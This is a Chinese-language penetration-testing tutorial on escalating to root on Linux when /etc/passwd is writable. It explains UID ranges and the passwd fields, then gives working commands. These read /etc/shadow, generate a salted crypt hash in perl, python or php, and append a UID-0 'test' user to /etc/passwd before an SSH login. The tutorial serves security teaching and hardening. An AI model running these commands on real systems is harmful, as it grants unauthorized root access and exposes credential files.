渗透场景
当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作,而在提权过程中发现当前用户具有/etc/passwd文件的写权限,此时我们可以写一个用户进去完成提权。
基础知识
用户分类
在Linux下,用户分为三类:超级用户(root)、普通用户、程序用户
- 超级用户:UID=0
- 程序用户:Rhel5/6,UID=1-499; Rhel7,UID=1-999
- 普通用户:Rhel5/6,UID=500-65535; Rhel7,UID=1000-60000
有三个命令可以查看用户的相关信息:
代码语言:javascript复制cat /etc/passwd #查看用户信息
cat /etc/shadow #查看用户的密码信息
cat /etc/group #查看用户的组信息
用户信息
使用以下命令查看用户信息:
代码语言:javascript复制cat /etc/passwd #/etc/passwd默认权限为644,其最小权限为444
/etc/passwd文件中每条用户信息数据显示有7个字段:
- 字段1:用户名 --> root
- 字段2:密码占位符 --> x (这里都是用x代替)
- 字段3:uid,用户id --> 0
- 字段4:gid ,组id --> 0
- 字段5:用户描述信息 --> root
- 字段6:家目录 --> /root
- 字段7:登录 shell (用户登陆shell ,当为/bin/bash表示可以登陆,/sbin/nologin表示不被授权登陆)
一般来说,只有root用户的uid是为0,如果黑客把一个普通用户的uid修改为0的话,那么他只要以普通用户的用户名和密码登录,系统就会自动切换到root用户,常常系统加固的时候都会过滤出有哪些用户的UID为0。
提权流程
确定可写
首先查看/etc/passwd 的权限,发现任何用户都可以对/etc/passwd文件进行读写操作:
代码语言:javascript复制ls -lh /etc/passwd
写入用户
接下来要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到/etc/passwd 文件中~
首先使用perl语言生成带有盐值的密码:
代码语言:javascript复制perl -le 'print crypt("password@123","addedsalt")'
然后执行下面这条命令,成功将test用户的信息加入/etc/passwd文件
代码语言:javascript复制echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
在这里我们也可以使用其他的语言来审查带有盐值的密码:
Python:
代码语言:javascript复制python -c 'import crypt; print crypt.crypt("password@123", "$6$salt")'
PHP:
代码语言:javascript复制php -r "print(crypt('aarti','123') . "n");"
随后直接SSH登录即可~